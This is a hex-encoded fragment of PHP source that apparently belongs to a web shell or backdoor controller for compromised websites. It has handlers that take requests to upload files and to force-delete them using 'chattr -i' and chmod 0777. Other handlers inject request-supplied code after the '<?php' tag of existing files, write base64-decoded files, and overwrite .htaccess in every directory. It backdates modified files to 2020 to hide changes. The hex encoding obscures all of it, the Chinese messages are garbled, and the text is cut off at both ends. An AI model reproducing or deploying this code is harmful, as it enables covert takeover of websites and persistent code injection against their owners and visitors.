a0a2020202020202020202020206966202821406d6f76655f75706c6f616465645f66696c65282466696c655b27746d705f6e616d65275d2c2024646573742929207b0a202020202020202020202020202020206966202869735f66696c652824646573742929207b0a20202020202020202020202020202020202020206966202866756e6374696f6e5f657869737473282765786563272929207b0a20202020202020202020202020202020202020202020202040657865632827636861747472202d692027202e206573636170657368656c6c61726728246465737429202e202720323e2f6465762f6e756c6c27293b0a20202020202020202020202020202020202020207d0a20202020202020202020202020202020202020204063686d6f642824646573742c2030373737293b0a202020202020202020202020202020202020202040756e6c696e6b282464657374293b0a202020202020202020202020202020207d0a0a202020202020202020202020202020206966202821406d6f76655f75706c6f616465645f66696c65282466696c655b27746d705f6e616d65275d2c2024646573742929207b0a202020202020202020202020202020202020202024726573756c74735b5d203d20617272617928277061746827203d3e202472656c506174682c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e6b787e6bf86e793a8e6beb6e8beabe8a7a627293b0a2020202020202020202020202020202020202020246661696c6564436f756e742b2b3b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020207d0a0a202020202020202020202020617175615f746f7563685f32303230282464657374293b0a202020202020202020202020617175615f746f7563685f323032305f646972286469726e616d65282464657374292c2024524f4f54293b0a0a20202020202020202020202024726573756c74735b5d203d206172726179280a20202020202020202020202020202020277061746827203d3e202472656c506174682c0a20202020202020202020202020202020276f6b27203d3e20747275652c0a202020202020202020202020202020202773697a6527203d3e2066696c6573697a65282464657374292c0a20202020202020202020202020202020276d643527203d3e206d64355f66696c65282464657374290a202020202020202020202020293b0a2020202020202020202020202473756363657373436f756e742b2b3b0a20202020202020207d0a0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a202020202020202020202020277375636365737327203d3e202473756363657373436f756e742c0a202020202020202020202020276661696c656427203d3e20246661696c6564436f756e742c0a2020202020202020202020202766696c657327203d3e2024726573756c74730a202020202020202029293b0a2020202020202020627265616b3b0a0a2020202063617365202762617463685f72656d6f7665273a0a20202020202020206966202821697373657428245f524551554553545b27636f756e74275d2929207b0a202020202020202020202020617175615f6a736f6e283430302c2027e7bc82e59384e79aaf20636f756e7420e98d99e5829be69a9f272c206e756c6c293b0a20202020202020207d0a0a202020202020202024636f756e74203d20696e7476616c28245f524551554553545b27636f756e74275d293b0a20202020202020206966202824636f756e74203c3d2030207c7c2024636f756e74203e20353029207b0a202020202020202020202020617175615f6a736f6e283430302c2027636f756e7420e8b987e591b4e3808fe98da6efbfbd20312d353020e6b694e5acaee6a3bf272c206e756c6c293b0a20202020202020207d0a0a202020202020202024726573756c7473203d20617272617928293b0a20202020202020202473756363657373436f756e74203d20303b0a2020202020202020246661696c6564436f756e74203d20303b0a0a2020202020202020666f7220282469203d20303b202469203c2024636f756e743b2024692b2b29207b0a2020202020202020202020202466696c654b6579203d202766696c655f27202e2024693b0a0a2020202020202020202020206966202821697373657428245f524551554553545b2466696c654b65795d2929207b0a2020202020202020202020202020202024726573756c74735b5d203d2061727261792827696e64657827203d3e2024692c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e7bc82e59384e79aafe98d99e5829be69a9f27293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a2020202020202020202020202472656c203d20245f524551554553545b2466696c654b65795d3b0a2020202020202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202472656c293b0a0a202020202020202020202020696620282466756c6c203d3d3d2066616c736529207b0a2020202020202020202020202020202024726573756c74735b5d203d206172726179282766696c6527203d3e202472656c2c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e792baee889ae7b79ee99788e782b4e7a1b627293b0a20202020202020202020202020202020246661696c6564436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a202020202020202020202020696620282169735f66696c65282466756c6c2929207b0a2020202020202020202020202020202024726573756c74735b5d203d206172726179282766696c6527203d3e202472656c2c20276f6b27203d3e20747275652c2027736b697070656427203d3e2074727565293b0a202020202020202020202020202020202473756363657373436f756e742b2b3b0a20202020202020202020202020202020636f6e74696e75653b0a2020202020202020202020207d0a0a2020202020202020202020204063686d6f64282466756c6c2c2030363434293b0a202020202020202020202020696620282140756e6c696e6b282466756c6c2929207b0a202020202020202020202020202020204063686d6f64282466756c6c2c2030373737293b0a20202020202020202020202020202020696620282140756e6c696e6b282466756c6c2929207b0a20202020202020202020202020202020202020206966202866756e6374696f6e5f657869737473282765786563272929207b0a20202020202020202020202020202020202020202020202040657865632827636861747472202d692027202e206573636170657368656c6c617267282466756c6c29202e202720323e2f6465762f6e756c6c27293b0a2020202020202020202020202020202020202020202020204063686d6f64282466756c6c2c2030363434293b0a20202020202020202020202020202020202020207d0a2020202020202020202020202020202020202020696620282140756e6c696e6b282466756c6c2929207b0a20202020202020202020202020202020202020202020202024726573756c74735b5d203d206172726179282766696c6527203d3e202472656c2c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027e98d92e78abbe6ab8ee6beb6e8beabe8a7a627293b0a202020202020202020202020202020202020202020202020246661696c6564436f756e742b2b3b0a202020202020202020202020202020202020202020202020636f6e74696e75653b0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a2020202020202020202020207d0a0a20202020202020202020202024726573756c74735b5d203d206172726179282766696c6527203d3e202472656c2c20276f6b27203d3e2074727565293b0a2020202020202020202020202473756363657373436f756e742b2b3b0a20202020202020207d0a0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a202020202020202020202020277375636365737327203d3e202473756363657373436f756e742c0a202020202020202020202020276661696c656427203d3e20246661696c6564436f756e742c0a2020202020202020202020202766696c657327203d3e2024726573756c74730a202020202020202029293b0a2020202020202020627265616b3b0a0a2020202063617365202772656d6f7665273a0a20202020202020202472656c203d20697373657428245f524551554553545b2766696c65275d29203f20245f524551554553545b2766696c65275d203a2027273b0a20202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202472656c293b0a2020202020202020696620282466756c6c203d3d3d2066616c7365207c7c202169735f66696c65282466756c6c2929207b20617175615f6a736f6e283430342c2027e98f82e59ba6e6aca2e6b693e5b685e793a8e98da6efbfbd272c206e756c6c293b207d0a20202020202020204063686d6f64282466756c6c2c2030363434293b0a2020202020202020696620282140756e6c696e6b282466756c6c2929207b0a2020202020202020202020204063686d6f64282466756c6c2c2030373737293b0a202020202020202020202020696620282140756e6c696e6b282466756c6c2929207b0a202020202020202020202020202020206966202866756e6374696f6e5f657869737473282765786563272929207b0a202020202020202020202020202020202020202040657865632827636861747472202d692027202e206573636170657368656c6c617267282466756c6c29202e202720323e2f6465762f6e756c6c27293b0a20202020202020202020202020202020202020204063686d6f64282466756c6c2c2030363434293b0a202020202020202020202020202020207d0a20202020202020202020202020202020696620282140756e6c696e6b282466756c6c2929207b0a2020202020202020202020202020202020202020617175615f6a736f6e283530302c2027e98d92e78abbe6ab8ee6beb6e8beabe8a7a6272c206172726179282766696c6527203d3e202472656c2c20277065726d7327203d3e2073756273747228737072696e74662827256f272c2066696c657065726d73282466756c6c29292c202d342929293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179282772656d6f76656427203d3e202472656c29293b0a2020202020202020627265616b3b0a0a2020202063617365202770726570656e64273a0a20202020202020202472656c203d20697373657428245f524551554553545b2766696c65275d29203f20245f524551554553545b2766696c65275d203a2027273b0a2020202020202020696620282472656c203d3d3d20272729207b20617175615f6a736f6e283430302c2027e7bc82e59384e79aaf2066696c65272c206e756c6c293b207d0a20202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202472656c293b0a2020202020202020696620282466756c6c203d3d3d2066616c7365207c7c202169735f66696c65282466756c6c2929207b0a202020202020202020202020617175615f6a736f6e283430342c2027e98f82e59ba6e6aca2e6b693e5b685e793a8e98da6efbfbd272c206e756c6c293b0a20202020202020207d0a202020202020202024736e6970706574203d20697373657428245f524551554553545b27736e6970706574275d29203f20245f524551554553545b27736e6970706574275d203a2027273b0a2020202020202020246d61726b657220203d20697373657428245f524551554553545b276d61726b6572275d2920203f20245f524551554553545b276d61726b6572275d20203a2027273b0a20202020202020206966202824736e6970706574203d3d3d20272729207b20617175615f6a736f6e283430302c2027e7bc82e59384e79aaf20736e6970706574272c206e756c6c293b207d0a0a202020202020202024636f6e74656e74203d2066696c655f6765745f636f6e74656e7473282466756c6c293b0a0a202020202020202069662028246d61726b657220213d3d20272720262620737472706f732824636f6e74656e742c20246d61726b65722920213d3d2066616c736529207b0a202020202020202020202020617175615f6a736f6e283230302c2027616c7265616479272c206172726179280a202020202020202020202020202020202766696c652720202020203d3e202472656c2c0a2020202020202020202020202020202027696e6a656374656427203d3e2066616c73652c0a202020202020202020202020202020202773697a652720202020203d3e207374726c656e2824636f6e74656e74292c0a20202020202020202020202020202020276d6435272020202020203d3e206d64352824636f6e74656e74292c0a2020202020202020202020202020202027636f6e74656e742720203d3e206261736536345f656e636f64652824636f6e74656e74292c0a20202020202020202020202029293b0a20202020202020207d0a0a202020202020202024706f73203d2073747269706f732824636f6e74656e742c20273c3f70687027293b0a20202020202020206966202824706f73203d3d3d2066616c736529207b0a202020202020202020202020617175615f6a736f6e283230302c20276e6f5f7068705f746167272c206172726179280a202020202020202020202020202020202766696c652720202020203d3e202472656c2c0a2020202020202020202020202020202027696e6a656374656427203d3e2066616c73652c0a202020202020202020202020202020202773697a652720202020203d3e207374726c656e2824636f6e74656e74292c0a20202020202020202020202020202020276d6435272020202020203d3e206d64352824636f6e74656e74292c0a2020202020202020202020202020202027636f6e74656e742720203d3e206261736536345f656e636f64652824636f6e74656e74292c0a20202020202020202020202029293b0a20202020202020207d0a0a202020202020202024696e736572744174203d2024706f73202b20353b0a2020202020202020246e6577436f6e74656e74203d207375627374722824636f6e74656e742c20302c2024696e73657274417429202e20225c6e22202e2024736e6970706574202e20225c6e22202e207375627374722824636f6e74656e742c2024696e736572744174293b0a0a20202020202020206966202821617175615f666f7263655f7772697465282466756c6c2c20246e6577436f6e74656e742929207b0a202020202020202020202020617175615f6a736f6e283530302c2027e98d90e6ac8fe58f86e6beb6e8beabe8a7a6272c206e756c6c293b0a20202020202020207d0a2020202020202020617175615f746f7563685f32303230282466756c6c293b0a0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a2020202020202020202020202766696c652720202020203d3e202472656c2c0a20202020202020202020202027696e6a656374656427203d3e20747275652c0a2020202020202020202020202773697a652720202020203d3e207374726c656e28246e6577436f6e74656e74292c0a202020202020202020202020276d6435272020202020203d3e206d643528246e6577436f6e74656e74292c0a20202020202020202020202027636f6e74656e742720203d3e206261736536345f656e636f646528246e6577436f6e74656e74292c0a202020202020202029293b0a2020202020202020627265616b3b0a0a2020202063617365202772656e616d65273a0a20202020202020202466726f6d203d20697373657428245f524551554553545b2766726f6d275d29203f20245f524551554553545b2766726f6d275d203a2027273b0a202020202020202024746f2020203d20697373657428245f524551554553545b27746f275d292020203f20245f524551554553545b27746f275d2020203a2027273b0a2020202020202020696620282466726f6d203d3d3d202727207c7c2024746f203d3d3d20272729207b20617175615f6a736f6e283430302c2027e7bc82e59384e79aaf2066726f6d20e98eb4efbfbd20746f272c206e756c6c293b207d0a20202020202020202466756c6c46726f6d203d20617175615f736166655f706174682824524f4f542c202466726f6d293b0a20202020202020202466756c6c546f2020203d20617175615f736166655f706174682824524f4f542c2024746f293b0a2020202020202020696620282466756c6c46726f6d203d3d3d2066616c736529207b20617175615f6a736f6e283430302c202766726f6d20e792baee889ae7b79ee99788e782b4e7a1b6272c206e756c6c293b207d0a2020202020202020696620282466756c6c546f2020203d3d3d2066616c736529207b20617175615f6a736f6e283430302c2027746f20e792baee889ae7b79ee99788e782b4e7a1b6272c206e756c6c293b207d0a2020202020202020696620282169735f66696c65282466756c6c46726f6d2929207b20617175615f6a736f6e283430342c2027e5a9a7e684ade69e83e6b5a0e69cb5e7ac89e7809be6a8bae6b9aa272c206e756c6c293b207d0a2020202020202020617175615f656e737572655f7772697461626c65282466756c6c46726f6d293b0a202020202020202069662028214072656e616d65282466756c6c46726f6d2c202466756c6c546f2929207b0a202020202020202020202020617175615f6a736f6e283530302c2027e996b2e5b685e687a1e98d9ae5b685e38191e79290efbfbd272c206e756c6c293b0a20202020202020207d0a2020202020202020617175615f746f7563685f32303230282466756c6c546f293b0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179282766726f6d27203d3e202466726f6d2c2027746f27203d3e2024746f29293b0a2020202020202020627265616b3b0a0a20202020636173652027746f7563685f64697273273a0a2020202020202020617175615f746f7563685f616c6c5f646972732824524f4f54293b0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206e756c6c293b0a2020202020202020627265616b3b0a0a202020206361736520276c6973745f6469726563746f72696573273a0a20202020202020202472656c50617468203d20697373657428245f524551554553545b2770617468275d29203f20245f524551554553545b2770617468275d203a2027273b0a2020202020202020246465707468203d20697373657428245f524551554553545b276465707468275d29203f20696e7476616c28245f524551554553545b276465707468275d29203a20313b0a2020202020202020246d6178526573756c7473203d20697373657428245f524551554553545b276d61785f726573756c7473275d29203f20696e7476616c28245f524551554553545b276d61785f726573756c7473275d29203a203230303b0a0a202020202020202069662028246465707468203c20302920246465707468203d20313b0a202020202020202069662028246465707468203e2031302920246465707468203d2031303b0a202020202020202069662028246d6178526573756c7473203c20312920246d6178526573756c7473203d203230303b0a202020202020202069662028246d6178526573756c7473203e20313030302920246d6178526573756c7473203d20313030303b0a0a2020202020202020247363616e526f6f74203d2024524f4f543b0a2020202020202020696620282472656c5061746820213d3d20272729207b0a202020202020202020202020247363616e526f6f74203d20617175615f736166655f706174682824524f4f542c202472656c50617468293b0a20202020202020202020202069662028247363616e526f6f74203d3d3d2066616c7365207c7c202169735f64697228247363616e526f6f742929207b0a20202020202020202020202020202020617175615f6a736f6e283430302c2027e792baee889ae7b79ee6b693e5b685e793a8e98da6e384a6e59ea8e99788e782b4e7a1b6272c206e756c6c293b0a2020202020202020202020207d0a20202020202020207d0a0a20202020202020202464697273203d20617272617928293b0a2020202020202020617175615f7363616e5f6469726563746f7269657328247363616e526f6f742c2024524f4f542c2027272c202464657074682c20302c2024646972732c20246d6178526573756c7473293b0a0a2020202020202020736f7274282464697273293b0a2020202020202020617175615f6a736f6e283230302c20276f6b272c206172726179280a202020202020202020202020276469726563746f7269657327203d3e2024646972732c0a20202020202020202020202027636f756e7427203d3e20636f756e74282464697273292c0a20202020202020202020202027646570746827203d3e202464657074682c0a202020202020202020202020277472756e636174656427203d3e20636f756e7428246469727329203e3d20246d6178526573756c7473203f2031203a20300a202020202020202029293b0a2020202020202020627265616b3b0a0a2020202063617365202762756e646c655f68617264656e273a0a2020202020202020617175615f636c65616e75705f626c6f636b6572732824524f4f54293b0a0a202020202020202024726571203d20617175615f726561645f6a736f6e5f626f647928293b0a2020202020202020696620282169735f617272617928247265712929207b0a202020202020202020202020617175615f6a736f6e283430302c202762756e646c655f68617264656e20e99787e282ace79195efbfbd204a534f4e20626f6479272c206e756c6c293b0a20202020202020207d0a0a2020202020202020246f7574203d206172726179280a20202020202020202020202027636c65616e757027203d3e20617272617928292c0a202020202020202020202020276261636b75702720203d3e20617272617928292c0a2020202020202020202020202766696c6573272020203d3e20617272617928292c0a2020202020202020202020202770726f7465637427203d3e20617272617928292c0a2020202020202020293b0a0a202020202020202069662028697373657428247265715b27636c65616e75705f66696c6573275d292026262069735f617272617928247265715b27636c65616e75705f66696c6573275d2929207b0a202020202020202020202020666f72656163682028247265715b27636c65616e75705f66696c6573275d206173202472656c29207b0a20202020202020202020202020202020696620282169735f737472696e67282472656c29207c7c202472656c203d3d3d20272729207b20636f6e74696e75653b207d0a202020202020202020202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202472656c293b0a20202020202020202020202020202020696620282466756c6c203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b27636c65616e7570275d5b2472656c5d203d2027696e76616c69645f70617468273b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a20202020202020202020202020202020696620282169735f66696c65282466756c6c2929207b0a2020202020202020202020202020202020202020246f75745b27636c65616e7570275d5b2472656c5d203d20276e6f745f666f756e64273b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a20202020202020202020202020202020246f75745b27636c65616e7570275d5b2472656c5d203d20617175615f686172645f756e6c696e6b282466756c6c29203f202764656c6574656427203a202764656c6574655f6661696c6564273b0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b276261636b75705f7061697273275d292026262069735f617272617928247265715b276261636b75705f7061697273275d2929207b0a202020202020202020202020666f72656163682028247265715b276261636b75705f7061697273275d20617320247061697229207b0a20202020202020202020202020202020696620282169735f61727261792824706169722929207b20636f6e74696e75653b207d0a202020202020202020202020202020202466726f6d203d2069737365742824706169725b2766726f6d275d29203f2024706169725b2766726f6d275d203a2027273b0a2020202020202020202020202020202024746f2020203d2069737365742824706169725b27746f275d292020203f2024706169725b27746f275d2020203a2027273b0a20202020202020202020202020202020696620282466726f6d203d3d3d202727207c7c2024746f203d3d3d20272729207b20636f6e74696e75653b207d0a20202020202020202020202020202020246974656d203d206172726179282766726f6d27203d3e202466726f6d2c2027746f27203d3e2024746f293b0a202020202020202020202020202020202466726f6d46756c6c203d20617175615f736166655f706174682824524f4f542c202466726f6d293b0a2020202020202020202020202020202024746f46756c6c2020203d20617175615f77726974655f7461726765742824524f4f542c2024746f293b0a20202020202020202020202020202020696620282466726f6d46756c6c203d3d3d2066616c7365207c7c2024746f46756c6c203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d2027696e76616c69645f70617468273b0a202020202020202020202020202020207d20656c7365696620282169735f66696c65282466726f6d46756c6c2929207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d20276e6f5f736f75726365273b0a202020202020202020202020202020207d20656c7365207b0a202020202020202020202020202020202020202024636f6e74656e74203d204066696c655f6765745f636f6e74656e7473282466726f6d46756c6c293b0a20202020202020202020202020202020202020206966202824636f6e74656e74203d3d3d2066616c736529207b0a202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d2027726561645f6661696c6564273b0a20202020202020202020202020202020202020207d20656c7365207b0a202020202020202020202020202020202020202020202020246e656564557064617465203d20747275653b0a2020202020202020202020202020202020202020202020206966202869735f66696c652824746f46756c6c2929207b0a20202020202020202020202020202020202020202020202020202020246578697374696e67203d204066696c655f6765745f636f6e74656e74732824746f46756c6c293b0a2020202020202020202020202020202020202020202020202020202069662028246578697374696e67203d3d3d2024636f6e74656e7429207b20246e656564557064617465203d2066616c73653b207d0a2020202020202020202020202020202020202020202020207d0a20202020202020202020202020202020202020202020202069662028246e65656455706461746529207b0a2020202020202020202020202020202020202020202020202020202069662028617175615f666f7263655f77726974652824746f46756c6c2c2024636f6e74656e742929207b0a2020202020202020202020202020202020202020202020202020202020202020617175615f746f7563685f323032302824746f46756c6c293b0a2020202020202020202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b0a2020202020202020202020202020202020202020202020202020202020202020246974656d5b2775706461746564275d203d20747275653b0a2020202020202020202020202020202020202020202020202020202020202020246974656d5b2773697a65275d203d207374726c656e2824636f6e74656e74293b0a202020202020202020202020202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d202777726974655f6661696c6564273b0a202020202020202020202020202020202020202020202020202020207d0a2020202020202020202020202020202020202020202020207d20656c7365207b0a20202020202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b0a20202020202020202020202020202020202020202020202020202020246974656d5b2775706461746564275d203d2066616c73653b0a20202020202020202020202020202020202020202020202020202020246974656d5b2773697a65275d203d207374726c656e2824636f6e74656e74293b0a2020202020202020202020202020202020202020202020207d0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a20202020202020202020202020202020246f75745b276261636b7570275d5b5d203d20246974656d3b0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b2772656e616d655f7061697273275d292026262069735f617272617928247265715b2772656e616d655f7061697273275d2929207b0a202020202020202020202020666f72656163682028247265715b2772656e616d655f7061697273275d20617320247061697229207b0a20202020202020202020202020202020696620282169735f61727261792824706169722929207b20636f6e74696e75653b207d0a202020202020202020202020202020202466726f6d203d2069737365742824706169725b2766726f6d275d29203f2024706169725b2766726f6d275d203a2027273b0a2020202020202020202020202020202024746f2020203d2069737365742824706169725b27746f275d292020203f2024706169725b27746f275d2020203a2027273b0a20202020202020202020202020202020696620282466726f6d203d3d3d202727207c7c2024746f203d3d3d20272729207b20636f6e74696e75653b207d0a20202020202020202020202020202020246974656d203d206172726179282766726f6d27203d3e202466726f6d2c2027746f27203d3e2024746f293b0a202020202020202020202020202020202466726f6d46756c6c203d20617175615f736166655f706174682824524f4f542c202466726f6d293b0a2020202020202020202020202020202024746f46756c6c2020203d20617175615f77726974655f7461726765742824524f4f542c2024746f293b0a20202020202020202020202020202020696620282466726f6d46756c6c203d3d3d2066616c7365207c7c2024746f46756c6c203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d2027696e76616c69645f70617468273b0a202020202020202020202020202020207d20656c7365696620282169735f66696c65282466726f6d46756c6c2929207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b20246974656d5b2775706461746564275d203d2066616c73653b20246974656d5b276572726f72275d203d20276e6f5f736f75726365273b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020696620284072656e616d65282466726f6d46756c6c2c2024746f46756c6c2929207b0a202020202020202020202020202020202020202020202020617175615f746f7563685f323032302824746f46756c6c293b0a202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b20246974656d5b2775706461746564275d203d20747275653b0a20202020202020202020202020202020202020207d20656c7365207b0a202020202020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d202772656e616d655f6661696c6564273b0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a202020202020202020202020202020206966202821697373657428246f75745b2772656e616d65275d2929207b20246f75745b2772656e616d65275d203d20617272617928293b207d0a20202020202020202020202020202020246f75745b2772656e616d65275d5b5d203d20246974656d3b0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b2766696c6573275d292026262069735f617272617928247265715b2766696c6573275d2929207b0a202020202020202020202020666f72656163682028247265715b2766696c6573275d206173202472656c203d3e202462363429207b0a20202020202020202020202020202020696620282169735f737472696e67282472656c29207c7c202472656c203d3d3d202727207c7c202169735f737472696e6728246236342929207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b28737472696e67292472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f706172616d27293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a202020202020202020202020202020202464657374203d20617175615f77726974655f7461726765742824524f4f542c202472656c293b0a20202020202020202020202020202020696620282464657374203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e2027696e76616c69645f7061746827293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202024636f6e74656e74203d206261736536345f6465636f646528246236342c2074727565293b0a202020202020202020202020202020206966202824636f6e74656e74203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f62617365363427293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202069662028617175615f666f7263655f77726974652824646573742c2024636f6e74656e742929207b0a2020202020202020202020202020202020202020617175615f746f7563685f32303230282464657374293b0a2020202020202020202020202020202020202020617175615f746f7563685f323032305f646972286469726e616d65282464657374292c2024524f4f54293b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d206172726179280a202020202020202020202020202020202020202020202020276f6b272020203d3e20747275652c0a2020202020202020202020202020202020202020202020202773697a6527203d3e207374726c656e2824636f6e74656e74292c0a202020202020202020202020202020202020202020202020276d64352720203d3e206d64352824636f6e74656e74292c0a2020202020202020202020202020202020202020293b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c656427293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b2770726f746563745f68746163636573735f623634275d292026262069735f737472696e6728247265715b2770726f746563745f68746163636573735f623634275d2920262620247265715b2770726f746563745f68746163636573735f623634275d20213d3d20272729207b0a2020202020202020202020202470726f74656374436f6e74656e74203d206261736536345f6465636f646528247265715b2770726f746563745f68746163636573735f623634275d2c2074727565293b0a202020202020202020202020696620282470726f74656374436f6e74656e74203d3d3d2066616c736529207b0a20202020202020202020202020202020246f75745b2770726f74656374275d5b276572726f72275d203d20276261645f626173653634273b0a2020202020202020202020207d20656c7365207b0a20202020202020202020202020202020246578636c756465203d20617272617928293b0a2020202020202020202020202020202069662028697373657428247265715b2770726f746563745f6578636c756465275d292026262069735f617272617928247265715b2770726f746563745f6578636c756465275d2929207b0a2020202020202020202020202020202020202020666f72656163682028247265715b2770726f746563745f6578636c756465275d2061732024657829207b0a2020202020202020202020202020202020202020202020206966202869735f737472696e67282465782929207b20246578636c7564655b2465785d203d20747275653b207d0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a0a2020202020202020202020202020202024666f756e64203d20617272617928293b0a2020202020202020202020202020202024736b6970706564203d20617272617928293b0a20202020202020202020202020202020247772697474656e203d20617272617928293b0a20202020202020202020202020202020246572726f7273203d20617272617928293b0a0a20202020202020202020202020202020246468203d20406f70656e6469722824524f4f54293b0a202020202020202020202020202020206966202824646829207b0a20202020202020202020202020202020202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0a202020202020202020202020202020202020202020202020696620282466203d3d3d20272e27207c7c202466203d3d3d20272e2e2729207b20636f6e74696e75653b207d0a202020202020202020202020202020202020202020202020696620282169735f6469722824524f4f54202e20272f27202e2024662929207b20636f6e74696e75653b207d0a20202020202020202020202020202020202020202020202024666f756e645b5d203d2024663b0a20202020202020202020202020202020202020202020202069662028697373657428246578636c7564655b24665d2929207b2024736b69707065645b5d203d2024663b20636f6e74696e75653b207d0a0a2020202020202020202020202020202020202020202020202464657374203d2024524f4f54202e20272f27202e202466202e20272f2e6874616363657373273b0a20202020202020202020202020202020202020202020202069662028617175615f666f7263655f77726974652824646573742c202470726f74656374436f6e74656e742929207b0a20202020202020202020202020202020202020202020202020202020617175615f746f7563685f32303230282464657374293b0a20202020202020202020202020202020202020202020202020202020247772697474656e5b5d203d2024663b0a2020202020202020202020202020202020202020202020207d20656c7365207b0a20202020202020202020202020202020202020202020202020202020246572726f72735b5d203d2024663b0a2020202020202020202020202020202020202020202020207d0a20202020202020202020202020202020202020207d0a2020202020202020202020202020202020202020636c6f736564697228246468293b0a2020202020202020202020202020202020202020736f72742824666f756e64293b0a202020202020202020202020202020207d0a0a20202020202020202020202020202020246f75745b2770726f74656374275d203d206172726179280a202020202020202020202020202020202020202027666f756e64272020203d3e2024666f756e642c0a202020202020202020202020202020202020202027736b697070656427203d3e2024736b69707065642c0a2020202020202020202020202020202020202020277772697474656e27203d3e20247772697474656e2c0a2020202020202020202020202020202020202020276572726f72732720203d3e20246572726f72732c0a20202020202020202020202020202020293b0a2020202020202020202020207d0a20202020202020207d0a0a2020202020202020617175615f6a736f6e283230302c20276f6b272c20246f7574293b0a2020202020202020627265616b3b0a0a2020202063617365202762756e646c655f68617264656e5f6e6f6e7770273a0a2020202020202020617175615f636c65616e75705f626c6f636b6572732824524f4f54293b0a0a202020202020202024726571203d20617175615f726561645f6a736f6e5f626f647928293b0a2020202020202020696620282169735f617272617928247265712929207b0a202020202020202020202020617175615f6a736f6e283430302c202762756e646c655f68617264656e5f6e6f6e777020e99787e282ace79195efbfbd204a534f4e20626f6479272c206e756c6c293b0a20202020202020207d0a0a2020202020202020246f7574203d206172726179280a20202020202020202020202027646566696e657327203d3e206e756c6c2c0a20202020202020202020202027696e646578272020203d3e206e756c6c2c0a202020202020202020202020276874616363657373273d3e206e756c6c2c0a2020202020202020293b0a0a202020202020202024646566696e6573423634203d20697373657428247265715b27646566696e65735f7068705f623634275d29203f20247265715b27646566696e65735f7068705f623634275d203a2027273b0a20202020202020206966202869735f737472696e672824646566696e6573423634292026262024646566696e657342363420213d3d20272729207b0a202020202020202020202020246279746573203d206261736536345f6465636f64652824646566696e65734236342c2074727565293b0a20202020202020202020202069662028246279746573203d3d3d2066616c736529207b0a20202020202020202020202020202020246f75745b27646566696e6573275d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f62617365363427293b0a2020202020202020202020207d20656c7365207b0a202020202020202020202020202020202464657374203d20617175615f77726974655f7461726765742824524f4f542c2027646566696e65732e70687027293b0a20202020202020202020202020202020696620282464657374203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b27646566696e6573275d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e2027696e76616c69645f7061746827293b0a202020202020202020202020202020207d20656c736569662028617175615f666f72